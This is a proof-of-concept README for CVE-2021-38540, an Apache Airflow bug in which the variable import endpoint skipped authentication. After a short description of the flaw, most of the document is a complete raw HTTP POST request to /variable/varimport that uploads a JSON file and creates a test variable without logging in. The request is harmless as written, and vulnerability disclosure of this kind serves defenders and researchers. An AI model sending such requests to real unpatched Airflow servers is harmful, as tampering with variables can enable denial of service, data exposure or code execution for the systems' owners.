CVE-2021-38540 PoC — Apache Airflow: Variable Import endpoint missed authentication check

Description

Missing Authentication on Critical component CVE-2021-38540

Readme

# CVE-2021-38540 Proof of Concept
Missing Authentication on Critical component Known as CVE-2021-38540

# About this bug:

The variable import endpoint was not protected by authentication in Airflow >=2.0.0, <2.1.3. This allowed unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. This issue affects Apache Airflow >=2.0.0, <2.1.3. [CVE-2021-38540]

# About this PoC:

This POC contains a request that will create a Variable named: kafka_captainhook_user under Admin>variables [ List Variables ]

# PoC Source:

```HTTP
POST /variable/varimport HTTP/2
Host: airflow.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------33976360506209910502051128075
Content-Length: 398
Origin: https://airflow.example.com
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="csrf_token"

 
-----------------------------33976360506209910502051128075
Content-Disposition: form-data; name="file"; filename="variables.json"
Content-Type: application/json

{
    "kafka_captainhook_user": "testCaptain"
}

-----------------------------33976360506209910502051128075--
```
# Refrences

https://nvd.nist.gov/vuln/detail/CVE-2021-38540
https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E

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